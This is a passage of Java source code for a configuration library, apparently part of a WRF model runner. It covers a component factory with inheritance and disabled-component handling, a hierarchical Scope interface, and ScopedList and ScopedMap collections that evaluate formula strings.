\n\t * @param <T>\n\t * the type of the component to be generated\n\t * @param clazz\n\t * the root {@link Class} of the component type for which the {@link WRFRunnerComponentFactory} is being created or retrieved\n\t * @param defaultComponentType\n\t * the name of the default component type as a {@link String}\n\t * @param disabledComponentConstructor\n\t * a {@link BiFunction} that returns an instance of the component that performs no action or equates to a disabled state\n\t * @return an instance of {@link WRFRunnerComponentFactory} that produces components that are subclasses of {@code clazz}\n\t */\n\tpublic static <T> WRFRunnerComponentFactory<T> createFactory(Class<T> clazz, String defaultComponentType, BiFunction<ScopedMap, Scope, T> disabledComponentConstructor) {\n\t\tsynchronized (factories) {\n\t\t\tif (factories.containsKey(clazz)) {\n\t\t\t\t@SuppressWarnings(\"unchecked\") WRFRunnerComponentFactory<T> factory = (WRFRunnerComponentFactory<T>) factories.get(clazz);\n\t\t\t\tif (defaultComponentType != null)\n\t\t\t\t\tfactory.setDefaultComponentType(defaultComponentType);\n\t\t\t\tif (disabledComponentConstructor != null)\n\t\t\t\t\tfactory.setDisabledComponentConstructor(disabledComponentConstructor);\n\t\t\t\treturn factory;\n\t\t\t}\n\t\t\tWRFRunnerComponentFactory<T> factory = new WRFRunnerComponentFactory<>(clazz, defaultComponentType, disabledComponentConstructor);\n\t\t\tfactories.put(clazz, factory);\n\t\t\treturn factory;\n\t\t}\n\t}\n\t\n\t/**\n\t * Adds the constructor for a named component type to the {@link WRFRunnerComponentFactory} for the given {@link Class}.\n\t * \n\t * @param <T>\n\t * the type of the component to be constructed\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param type\n\t * the name of the component type\n\t * @param constructor\n\t * a {@link BiFunction} that takes the parameters that describe the component (as a {@link ScopedMap}) and the component's parent (as a\n\t * {@link Scope}) and constructs the component accordingly. For most components with implementing class {@code T}, this function should\n\t * be equivalent to {@code T::new}.\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t */\n\tpublic static <T> void addComponentConstructor(Class<T> clazz, String type, BiFunction<ScopedMap, Scope, T> constructor) {\n\t\tgetFactory(clazz).addComponentConstructor(type, constructor);\n\t}\n\t\n\t/**\n\t * Adds the constructor for a named component type to the {@link WRFRunnerComponentFactory}.\n\t * \n\t * @param type\n\t * the name of the component type\n\t * @param constructor\n\t * a {@link BiFunction} that takes the parameters that describe the component as a {@link ScopedMap} and the component's parent as a\n\t * {@link Scope} and constructs the component accordingly. For a component with implementing class {@code T}, this function should be\n\t * equivalent to {@code T::new}.\n\t */\n\tpublic void addComponentConstructor(String type, BiFunction<ScopedMap, Scope, T> constructor) {\n\t\tsynchronized (components) {\n\t\t\tcomponents.put(type, constructor);\n\t\t}\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} for the given {@link Class} to generate a new instance of the component defined by the given\n\t * {@code parameters} and {@code parent}.\n\t * \n\t * @param <T>\n\t * the type of the component to be returned\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the component defined by the given {@code parameters} and {@code parent}\n\t * @see #generateComponent(ScopedMap, Scope)\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t */\n\tpublic static <T> T generateComponent(Class<T> clazz, ScopedMap parameters, Scope parent) {\n\t\treturn getFactory(clazz).generateComponent(parameters, parent);\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} to generate a new instance of the component defined by the given {@code parameters} and\n\t * {@code parent}.\n\t * \n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the component defined by the given {@code parameters} and {@code parent}\n\t * @see #generateComponent(Class, ScopedMap, Scope)\n\t */\n\tpublic T generateComponent(ScopedMap parameters, Scope parent) {\n\t\treturn generateComponent(parameters != null && parameters.containsKey(\"type\") ? parameters.get(\"type\").toString() : defaultComponentType, parameters, parent);\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} for the given {@link Class} to generate a new instance of the component defined by the given\n\t * {@code type}, {@code parameters}, and {@code parent}.\n\t * \n\t * @param <T>\n\t * the type of the component to be returned\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param type\n\t * the name of the type of component described by the given parameters (this overrides the type field in the given parameters if it\n\t * exists\n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the component defined by the given {@code type}, {@code parameters}, and {@code parent}\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t * @see #generateComponent(String, ScopedMap, Scope)\n\t */\n\tpublic static <T> T generateComponent(Class<T> clazz, String type, ScopedMap parameters, Scope parent) {\n\t\treturn getFactory(clazz).generateComponent(type, parameters, parent);\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} to generate a new instance of the component defined by the given {@code type}, {@code parameters},\n\t * and {@code parent}.\n\t * \n\t * @param type\n\t * the name of the type of component described by the given parameters (this overrides the type field in the given parameters if it\n\t * exists\n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the component defined by the given {@code type}, {@code parameters}, and {@code parent}\n\t * @see #generateComponent(Class, String, ScopedMap, Scope)\n\t */\n\tpublic T generateComponent(String type, ScopedMap parameters, Scope parent) {\n\t\tsynchronized (components) {\n\t\t\tif (type != null && type.equals(\"disabled\"))\n\t\t\t\treturn getDisabledComponentInstance(parameters, parent);\n\t\t\tif (parameters == null)\n\t\t\t\treturn implicitInheritance(parent);\n\t\t\tif (parameters.get(\"enabled\") instanceof Boolean && !((Boolean) parameters.get(\"enabled\")))\n\t\t\t\treturn getDisabledComponentInstance(parameters, parent);\n\t\t\tObject inherit = parameters.get(\"inherit\");\n\t\t\tif (inherit != null) {\n\t\t\t\tif (inherit instanceof String) //Then this is an explicit inheritance\n\t\t\t\t\tinherit = ScopedFormulaProcessor.process((String) inherit, parameters, null);\n\t\t\t\tif (inherit instanceof Boolean && (Boolean) inherit)\n\t\t\t\t\treturn implicitInheritance(parent);\n\t\t\t\tif (inherit instanceof ScopedMap) //Then this is scope-based inheritance\n\t\t\t\t\treturn generateComponent((ScopedMap) inherit, parent);\n\t\t\t\tif (rootType.isInstance(inherit))\n\t\t\t\t\treturn rootType.cast(inherit);\n\t\t\t}\n\t\t\treturn components.get(type != null ? type : defaultComponentType).apply(parameters, parent);\n\t\t}\n\t}\n\t\n\tprivate T implicitInheritance(Scope parent) {\n\t\tif (rootType.isInstance(parent))\n\t\t\treturn rootType.cast(parent);\n\t\tthrow new TypeHierarchyException(\"Cannot perform implicit full-object inheritance when the parent is of a different type.\");\n\t}\n\t\n\t/**\n\t * A convenience method for use with more complex inheritance structures, primarily in the form of custom scoping.\n\t * \n\t * @param parameters\n\t * parameters that define a component as a {@link ScopedMap}\n\t * @return {@code true} iff the component will be entirely inherited from its parent\n\t */\n\tpublic static boolean willInherit(ScopedMap parameters) {\n\t\treturn parameters == null || (parameters.containsKey(\"inherit\") && (!(parameters.get(\"inherit\") instanceof Boolean) || ((Boolean) parameters.get(\"inherit\"))));\n\t}\n\t\n\t/**\n\t * Sets the default component type for the {@link WRFRunnerComponentFactory} for the given {@link Class}.\n\t * \n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param type\n\t * the name of the new default component type as a {@link String}\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t * @see #setDefaultComponentType(String)\n\t */\n\tpublic static void setDefaultComponentType(Class<?> clazz, String type) {\n\t\tgetFactory(clazz).setDefaultComponentType(type);\n\t}\n\t\n\t/**\n\t * Sets the default component type for the {@link WRFRunnerComponentFactory}.\n\t * \n\t * @param type\n\t * the name of the new default component type as a {@link String}\n\t * @see #setDefaultComponentType(Class, String)\n\t */\n\tpublic void setDefaultComponentType(String type) {\n\t\tsynchronized (components) {\n\t\t\tdefaultComponentType = type;\n\t\t}\n\t}\n\t\n\t/**\n\t * Sets the constructor used to create disabled instances of the component in the {@link WRFRunnerComponentFactory} for the given {@link Class}.\n\t * \n\t * @param <T>\n\t * the type of the component to be constructed\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param disabledComponentConstructor\n\t * a {@link BiFunction} that returns an instance of the component that performs no action and/or equates to a disabled state\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t * @see #setDisabledComponentConstructor(BiFunction)\n\t */\n\tpublic static <T> void setDisabledComponentConstructor(Class<T> clazz, BiFunction<ScopedMap, Scope, T> disabledComponentConstructor) {\n\t\tgetFactory(clazz).setDisabledComponentConstructor(disabledComponentConstructor);\n\t}\n\t\n\t/**\n\t * Sets the constructor used to create disabled instances of the component in the {@link WRFRunnerComponentFactory}.\n\t * \n\t * @param disabledComponentConstructor\n\t * a {@link BiFunction} that returns an instance of the component that performs no action and/or equates to a disabled state\n\t * @see #setDisabledComponentConstructor(BiFunction)\n\t */\n\tpublic void setDisabledComponentConstructor(BiFunction<ScopedMap, Scope, T> disabledComponentConstructor) {\n\t\tsynchronized (components) {\n\t\t\tthis.disabledComponentConstructor = disabledComponentConstructor;\n\t\t}\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} for the given {@link Class} to generate a new disabled instance of the component described by the\n\t * given {@code parameters} and {@code parent}.\n\t * \n\t * @param <T>\n\t * the type of the component to be returned\n\t * @param clazz\n\t * the {@link Class} provided when the {@link WRFRunnerComponentFactory} was created\n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the disabled type described by the given {@code parameters} and {@code parent}\n\t * @throws NoSuchFactoryException\n\t * if a {@link WRFRunnerComponentFactory} for the given {@link Class} does not exist\n\t * @see #getDisabledComponentInstance(ScopedMap, Scope)\n\t */\n\tpublic static <T> T getDisabledComponentInstance(Class<T> clazz, ScopedMap parameters, Scope parent) {\n\t\treturn getFactory(clazz).getDisabledComponentInstance(parameters, parent);\n\t}\n\t\n\t/**\n\t * Uses the {@link WRFRunnerComponentFactory} to generate a new disabled instance of the component described by the given {@code parameters} and\n\t * {@code parent}.\n\t * \n\t * @param parameters\n\t * the parameters that describe the component as a {@link ScopedMap}\n\t * @param parent\n\t * the component's parent as a {@link Scope}\n\t * @return a new instance of the disabled type described by the given {@code parameters} and {@code parent}\n\t * @see #getDisabledComponentInstance(Class, ScopedMap, Scope)\n\t */\n\tpublic T getDisabledComponentInstance(ScopedMap parameters, Scope parent) {\n\t\tsynchronized (components) {\n\t\t\treturn disabledComponentConstructor.apply(parameters, parent);\n\t\t}\n\t}\n}", "public interface Scope {\n\t/**\n\t * @return the parent {@link Scope}; if this is the root of the {@link Scope} tree, this method returns {@code null}\n\t */\n\tpublic Scope getParent();\n\t\n\t/**\n\t * This method <i>only</i> checks the current {@link Scope Scope's} values - it does not query the parent {@link Scope}.\n\t * \n\t * @param name\n\t * the name of the variable to retrieve as a {@link String}\n\t * @return the named variable's value if it exists\n\t * @throws InvalidVariableAccessException\n\t * if the current {@link Scope} (not including its parent {@link Scope}) does not contain a variable with the given name\n\t */\n\tpublic Object getValueByName(String name) throws InvalidVariableAccessException;\n\t\n\t/**\n\t * This method <i>only</i> checks the current {@link Scope Scope's} values - it does not query the parent {@link Scope}.\n\t * \n\t * @param name\n\t * the name of the variable to retrieve as a {@link String}\n\t * @return {@code true} iff the current {@link Scope} (not including its parent {@link Scope}) contains a variable with the given name\n\t */\n\tpublic boolean hasValueByName(String name);\n\t\n\t/**\n\t * This method follows the {@link Scope} tree up to the root until it finds a variable with the given name.\n\t * \n\t * @param name\n\t * the name of the variable to retrieve as a {@link String}\n\t * @return the named variable's value if it exists\n\t * @throws InvalidVariableAccessException\n\t * if the neither current {@link Scope} nor any of its parent {@link Scope Scopes} contain a variable with the given name\n\t */\n\tpublic default Object getScopedValueByName(String name) throws InvalidVariableAccessException {\n\t\tfor (Scope scope = this; scope != null; scope = scope.getParent())\n\t\t\tif (scope.hasValueByName(name))\n\t\t\t\treturn scope.getValueByName(name);\n\t\tthrow new InvalidVariableAccessException(\"Could not access \" + name);\n\t}\n\t\n\t/**\n\t * This method follows the {@link Scope} tree up to the root until it finds a variable with the given name.\n\t * \n\t * @param name\n\t * the name of the variable to retrieve as a {@link String}\n\t * @return {@code true} iff the current {@link Scope} or any of its parent {@link Scope Scopes} contain a variable with the given name\n\t */\n\tpublic default boolean hasScopedValueByName(String name) {\n\t\tfor (Scope scope = this; scope != null; scope = scope.getParent())\n\t\t\tif (scope.hasValueByName(name))\n\t\t\t\treturn true;\n\t\treturn false;\n\t}\n}", "public class ScopedList implements Scope, List<Object> {\n\tprivate final List<Object> backing;\n\tprivate Scope parent;\n\t\n\t/**\n\t * Creates a new {@link ScopedList} with the given parent {@link Scope}.\n\t * \n\t * @param parent\n\t * the parent {@link Scope};\n\t */\n\tpublic ScopedList(Scope parent) {\n\t\tbacking = new ArrayList<>();\n\t\tthis.parent = parent;\n\t}\n\t\n\tprivate ScopedList(Scope parent, List<Object> backing) { //Used for subList\n\t\tthis.backing = backing;\n\t\tthis.parent = parent;\n\t}\n\t\n\tprivate Object processOutput(Object e) {\n\t\treturn e instanceof ConsCell ? ScopedFormulaProcessor.process((ConsCell) e, this, null).getCar() : e;\n\t}\n\t\n\tprivate Object processInput(Object e) {\n\t\tif (e instanceof String) {\n\t\t\tString str = (String) e;\n\t\t\tif (str.charAt(0) == '=')\n\t\t\t\treturn ScopedFormulaProcessor.getLexer().lex(str.substring(1));\n\t\t\telse if (str.charAt(0) == '\\\\' && str.length() > 1 && str.charAt(1) == '=')\n\t\t\t\treturn str.substring(1);\n\t\t}\n\t\treturn e;\n\t}\n\t\n\t@Override\n\tpublic int size() {\n\t\treturn backing.size();\n\t}\n\t\n\t@Override\n\tpublic boolean isEmpty() {\n\t\treturn backing.isEmpty();\n\t}\n\t\n\t@Override\n\tpublic boolean contains(Object o) {\n\t\treturn backing.contains(processInput(o));\n\t}\n\t\n\t@Override\n\tpublic Iterator<Object> iterator() {\n\t\treturn new WrappedIterator<>(backing.iterator(), this::processOutput);\n\t}\n\t\n\t@Override\n\tpublic Object[] toArray() {\n\t\tObject[] out = backing.toArray();\n\t\tfor (int i = 0; i < out.length; i++)\n\t\t\tout[i] = processOutput(out[i]);\n\t\treturn out;\n\t}\n\t\n\t@Override\n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> T[] toArray(T[] a) {\n\t\tT[] out = backing.toArray(a);\n\t\tfor (int i = 0; i < out.length; i++)\n\t\t\tout[i] = (T) processOutput(out[i]);\n\t\treturn out;\n\t}\n\t\n\t@Override\n\tpublic boolean add(Object e) {\n\t\treturn backing.add(processInput(e));\n\t}\n\t\n\t@Override\n\tpublic boolean remove(Object o) {\n\t\treturn backing.remove(processInput(o));\n\t}\n\t\n\t@Override\n\tpublic boolean containsAll(Collection<?> c) {\n\t\tfor (Object o : c)\n\t\t\tif (!contains(o))\n\t\t\t\treturn false;\n\t\treturn true;\n\t}\n\t\n\t@Override\n\tpublic boolean addAll(Collection<? extends Object> c) {\n\t\tint oldSize = size();\n\t\tfor (Object o : c)\n\t\t\tadd(o);\n\t\treturn oldSize != size();\n\t}\n\t\n\t@Override\n\tpublic boolean addAll(int index, Collection<? extends Object> c) {\n\t\tint oldSize = size(), i = index;\n\t\tfor (Object o : c)\n\t\t\tadd(i++, o);\n\t\treturn oldSize != size();\n\t}\n\t\n\t@Override\n\tpublic boolean removeAll(Collection<?> c) {\n\t\tint oldSize = size();\n\t\tfor (Object o : c)\n\t\t\tremove(processInput(o));\n\t\treturn oldSize != size();\n\t}\n\t\n\t@Override\n\tpublic boolean retainAll(Collection<?> c) {\n\t\tCollection<Object> processed = new ArrayList<>();\n\t\tfor (Object o : c)\n\t\t\tprocessed.add(processInput(o));\n\t\treturn backing.retainAll(processed);\n\t}\n\t\n\t@Override\n\tpublic void clear() {\n\t\tbacking.clear();\n\t}\n\t\n\t@Override\n\tpublic Object get(int index) {\n\t\treturn processOutput(backing.get(index));\n\t}\n\t\n\t@Override\n\tpublic Object set(int index, Object element) {\n\t\treturn processOutput(backing.set(index, processInput(element)));\n\t}\n\t\n\t@Override\n\tpublic void add(int index, Object element) {\n\t\tbacking.add(index, processInput(element));\n\t}\n\t\n\t@Override\n\tpublic Object remove(int index) {\n\t\treturn processOutput(backing.remove(index));\n\t}\n\t\n\t@Override\n\tpublic int indexOf(Object o) {\n\t\treturn backing.indexOf(processInput(o));\n\t}\n\t\n\t@Override\n\tpublic int lastIndexOf(Object o) {\n\t\treturn backing.lastIndexOf(processInput(o));\n\t}\n\t\n\tclass ScopedListIterator implements ListIterator<Object> {\n\t\tint cursor, index;\n\t\tboolean added, removed;\n\t\t\n\t\tpublic ScopedListIterator() {\n\t\t\tthis(0);\n\t\t}\n\t\t\n\t\tpublic ScopedListIterator(int cursor) {\n\t\t\tthis.cursor = cursor;\n\t\t\tthis.index = -1;\n\t\t\tadded = removed = false;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic boolean hasNext() {\n\t\t\treturn cursor < size();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Object next() {\n\t\t\tif (!hasNext())\n\t\t\t\tthrow new NoSuchElementException();\n\t\t\tadded = removed = false;\n\t\t\treturn get(index = cursor++);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic boolean hasPrevious() {\n\t\t\treturn cursor > 0;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Object previous() {\n\t\t\tif (!hasPrevious())\n\t\t\t\tthrow new NoSuchElementException();\n\t\t\tadded = removed = false;\n\t\t\treturn get(index = --cursor);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic int nextIndex() {\n\t\t\treturn cursor;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic int previousIndex() {\n\t\t\treturn cursor - 1;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void remove() throws IllegalStateException {\n\t\t\tif (index == -1)\n\t\t\t\tthrow new IllegalStateException(\"Neither next nor previous have been called.\");\n\t\t\tif (added)\n\t\t\t\tthrow new IllegalStateException(\"add has been called since the most recent call to next or previous.\");\n\t\t\tif (removed)\n\t\t\t\tthrow new IllegalStateException(\"remove has been called since the most recent call to next or previous.\");\n\t\t\tScopedList.this.remove(index);\n\t\t\tif (index == cursor) //If this is true, then previous was the last one called\n\t\t\t\tcursor--;\n\t\t\tremoved = true;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void set(Object e) throws IllegalStateException {\n\t\t\tif (index == -1)\n\t\t\t\tthrow new IllegalStateException(\"Neither next nor previous have been called.\");\n\t\t\tif (added)\n\t\t\t\tthrow new IllegalStateException(\"add has been called since the most recent call to next or previous.\");\n\t\t\tif (removed)\n\t\t\t\tthrow new IllegalStateException(\"remove has been called since the most recent call to next or previous.\");\n\t\t\tScopedList.this.set(index, e);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void add(Object e) {\n\t\t\tScopedList.this.add(cursor++, e);\n\t\t\tadded = true;\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic ListIterator<Object> listIterator() {\n\t\treturn new ScopedListIterator();\n\t}\n\t\n\t@Override\n\tpublic ListIterator<Object> listIterator(int index) {\n\t\treturn new ScopedListIterator(index);\n\t}\n\t\n\t@Override\n\tpublic List<Object> subList(int fromIndex, int toIndex) {\n\t\treturn new ScopedSubList(backing.subList(fromIndex, toIndex));\n\t}\n\t\n\tclass ScopedSubList extends ScopedList {\n\t\t\n\t\tpublic ScopedSubList(List<Object> backing) {\n\t\t\tsuper(null, backing);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Scope getParent() {\n\t\t\treturn ScopedList.this.getParent();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic synchronized void setParent(Scope parent) {\n\t\t\tScopedList.this.setParent(parent);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic boolean hasValueByName(String name) {\n\t\treturn 0 <= Integer.parseInt(name) && Integer.parseInt(name) < size();\n\t}\n\t\n\t@Override\n\tpublic Object getValueByName(String name) throws InvalidVariableAccessException {\n\t\treturn get(Integer.parseInt(name));\n\t}\n\t\n\t@Override\n\tpublic Scope getParent() {\n\t\treturn parent;\n\t}\n\t\n\t/**\n\t * Sets the parent {@link Scope}. This can only be done once and only if {@code null} was passed to the constructor.\n\t * \n\t * @param parent\n\t * the parent {@link Scope}\n\t */\n\tpublic synchronized void setParent(Scope parent) {\n\t\tif (this.parent == null)\n\t\t\tthis.parent = parent;\n\t\telse\n\t\t\tthrow new UnsupportedOperationException(\"The parent of a ScopedList object cannot be changed once set.\");\n\t}\n\t\n\t/**\n\t * Builds a {@link ScopedList} with a {@code null} parent {@link Scope} from the given {@link JSONObject}\n\t * \n\t * @param base\n\t * the given {@link JSONObject}\n\t * @return a {@link ScopedList} with a {@code null} parent {@link Scope} based on the given {@link JSONObject}\n\t */\n\tpublic static ScopedList buildFromJSON(JSONArray base) {\n\t\treturn buildFromJSON(base, null);\n\t}\n\t\n\t/**\n\t * Builds a {@link ScopedList} with the given parent {@link Scope} from the given {@link JSONArray}\n\t * \n\t * @param base\n\t * the given {@link JSONArray}\n\t * @param parent\n\t * the given parent {@link Scope}\n\t * @return a {@link ScopedList} with the given parent {@link Scope} based on the given {@link JSONArray}\n\t */\n\tpublic static ScopedList buildFromJSON(JSONArray base, Scope parent) {\n\t\tScopedList out = new ScopedList(parent);\n\t\tfor (JSONData<?> e : base) {\n\t\t\tif (e instanceof JSONObject)\n\t\t\t\tout.add(ScopedMap.buildFromJSON((JSONObject) e, out));\n\t\t\telse if (e instanceof JSONArray)\n\t\t\t\tout.add(buildFromJSON((JSONArray) e, out));\n\t\t\telse\n\t\t\t\tout.add(e.value());\n\t\t}\n\t\treturn out;\n\t}\n}", "public class ScopedMap implements Scope, Map<String, Object> {\n\tprivate final Function<Entry<String, Object>, Object> valuesConverter = e -> processOutput(e.getKey(), e.getValue());\n\t\n\tprivate final Map<String, Object> backing;\n\tprivate Scope parent;\n\tprivate EntrySet entries;\n\tprivate Collection<Object> values;\n\t\n\t/**\n\t * Creates a new {@link ScopedMap} with the given parent {@link Scope}.\n\t * \n\t * @param parent\n\t * the parent {@link Scope}; if it is {@code null}, the parent {@link Scope} can be set later via a call to {@link #setParent(Scope)}\n\t */\n\tpublic ScopedMap(Scope parent) {\n\t\tthis.parent = parent;\n\t\tbacking = new HashMap<>();\n\t\tentries = null;\n\t\tvalues = null;\n\t}\n\t\n\tprivate Object processOutput(String name, Object e) {\n\t\treturn e instanceof ConsCell ? ScopedFormulaProcessor.process((ConsCell) e, getFormulaScope(), name).getCar() : e;\n\t}\n\t\n\tprivate Object processInput(Object e) {\n\t\tif (e instanceof String) {\n\t\t\tString str = (String) e;\n\t\t\tif (str.charAt(0) == '=')\n\t\t\t\treturn ScopedFormulaProcessor.preProcess(str.substring(1));\n\t\t\telse if (str.charAt(0) == '\\\\' && str.length() > 1 && str.charAt(1) == '=')\n\t\t\t\treturn str.substring(1);\n\t\t}\n\t\treturn e;\n\t}\n\t\n\t/**\n\t * This method is used to allow subclasses to change what {@link Scope} the {@link ScopedMap} uses in its computations.\n\t * \n\t * @return the {@link Scope} that the {@link ScopedMap} is to use in its computations\n\t */\n\tprotected Scope getFormulaScope() {\n\t\treturn this;\n\t}\n\t\n\t@Override\n\tpublic boolean containsKey(Object key) {\n\t\treturn backing.containsKey(key);\n\t}\n\t\n\t@Override\n\tpublic Object get(Object key) {\n\t\tif (!(key instanceof String))\n\t\t\treturn null;\n\t\treturn processOutput((String) key, backing.get(key));\n\t}\n\t\n\t@Override\n\tpublic Object put(String key, Object value) {\n\t\treturn processOutput(key, backing.put(key, processInput(value)));\n\t}\n\t\n\t@Override\n\tpublic Object remove(Object key) {\n\t\tif (!(key instanceof String))\n\t\t\treturn null;\n\t\treturn processOutput((String) key, backing.remove(key));\n\t}\n\t\n\t@Override\n\tpublic void clear() {\n\t\tbacking.clear();\n\t}\n\t\n\t@Override\n\tpublic Set<String> keySet() {\n\t\treturn backing.keySet();\n\t}\n\t\n\t@Override\n\tpublic Set<Entry<String, Object>> entrySet() {\n\t\treturn entries == null ? entries = new EntrySet(backing.entrySet()) : entries;\n\t}\n\t\n\tfinal class ScopedEntry implements Entry<String, Object> {\n\t\tprivate final Entry<String, Object> back;\n\t\t\n\t\tpublic ScopedEntry(Entry<String, Object> back) {\n\t\t\tthis.back = back;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic String getKey() {\n\t\t\treturn back.getKey();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Object getValue() {\n\t\t\treturn processOutput(getKey(), back.getValue());\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Object setValue(Object value) {\n\t\t\treturn processOutput(getKey(), back.setValue(processInput(value)));\n\t\t}\n\t}\n\t\n\tfinal class EntrySet extends AbstractSet<Entry<String, Object>> {\n\t\tprivate final Set<Entry<String, Object>> back;\n\t\t\n\t\tEntrySet(Set<Entry<String, Object>> back) {\n\t\t\tthis.back = back;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final int size() {\n\t\t\treturn back.size();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final void clear() {\n\t\t\tScopedMap.this.clear();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final Iterator<Entry<String, Object>> iterator() {\n\t\t\treturn new WrappedIterator<>(back.iterator(), ScopedEntry::new);\n\t\t}\n\t\t\n\t\t@Override\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tpublic final boolean contains(Object o) {\n\t\t\tif (!(o instanceof Entry))\n\t\t\t\treturn false;\n\t\t\treturn back.contains(new ScopedEntry((Entry<String, Object>) o));\n\t\t}\n\t\t\n\t\t@Override\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tpublic final boolean remove(Object o) {\n\t\t\tif (!(o instanceof Entry))\n\t\t\t\treturn false;\n\t\t\treturn back.remove(new ScopedEntry((Entry<String, Object>) o));\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic boolean hasValueByName(String name) {\n\t\treturn containsKey(name);\n\t}\n\t\n\t@Override\n\tpublic Object getValueByName(String name) throws InvalidVariableAccessException {\n\t\tObject out = get(name);\n\t\tif (out == null)\n\t\t\tthrow new InvalidVariableAccessException(name + \" is not a valid parameter name.\");\n\t\treturn out;\n\t}\n\t\n\t@Override\n\tpublic Scope getParent() {\n\t\treturn parent;\n\t}\n\t\n\t/**\n\t * Sets the parent {@link Scope}. This can only be done once and only if {@code null} was passed to the constructor.\n\t * \n\t * @param parent\n\t * the parent {@link Scope}\n\t */\n\tpublic synchronized void setParent(Scope parent) {\n\t\tif (this.parent == null)\n\t\t\tthis.parent = parent;\n\t\telse\n\t\t\tthrow new UnsupportedOperationException(\"The parent of a ScopedConfiguration object cannot be changed once set.\");\n\t}\n\t\n\t/**\n\t * Builds a {@link ScopedMap} with a {@code null} parent {@link Scope} from the given {@link JSONObject}\n\t * \n\t * @param base\n\t * the given {@link JSONObject}\n\t * @return a {@link ScopedMap} with a {@code null} parent {@link Scope} based on the given {@link JSONObject}\n\t */\n\tpublic static ScopedMap buildFromJSON(JSONObject base) {\n\t\treturn buildFromJSON(base, null);\n\t}\n\t\n\t/**\n\t * Builds a {@link ScopedMap} with the given parent {@link Scope} from the given {@link JSONObject}\n\t * \n\t * @param base\n\t * the given {@link JSONObject}\n\t * @param parent\n\t * the given parent {@link Scope}\n\t * @return a {@link ScopedMap} with the given parent {@link Scope} based on the given {@link JSONObject}\n\t */\n\tpublic static ScopedMap buildFromJSON(JSONObject base, Scope parent) {\n\t\tScopedMap out = new ScopedMap(parent);\n\t\tfor (Entry<String, JSONData<?>> entry : base.entrySet()) {\n\t\t\tif (entry.getValue() instanceof JSONObject)\n\t\t\t\tout.put(entry.getKey(), buildFromJSON((JSONObject) entry.getValue(), out));\n\t\t\telse if (entry.getValue() instanceof JSONArray)\n\t\t\t\tout.put(entry.getKey(), ScopedList.buildFromJSON((JSONArray) entry.getValue(), out));\n\t\t\telse\n\t\t\t\tout.put(entry.getKey(), entry.getValue().value());\n\t\t}\n\t\treturn out;\n\t}\n\t\n\t@Override\n\tpublic int size() {\n\t\treturn backing.size();\n\t}\n\t\n\t@Override\n\tpublic boolean isEmpty() {\n\t\treturn backing.isEmpty();\n\t}\n\t\n\t@Override\n\tpublic boolean containsValue(Object value) {\n\t\tif (value == null)\n\t\t\treturn false;\n\t\tif (backing.values().contains(processInput(value)))\n\t\t\treturn true;\n\t\tfor (Entry<String, Object> val : backing.entrySet())\n\t\t\tif (val.getValue().equals(value))\n\t\t\t\treturn true;\n\t\treturn false;\n\t}\n\t\n\t@Override\n\tpublic void putAll(Map<? extends String, ? extends Object> m) {\n\t\tfor (Entry<? extends String, ? extends Object> e : m.entrySet())\n\t\t\tput(e.getKey(), e.getValue());\n\t}\n\t\n\tclass ValuesCollection extends AbstractCollection<Object> {\n\t\t\n\t\t@Override\n\t\tpublic final int size() {\n\t\t\treturn ScopedMap.this.size();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final void clear() 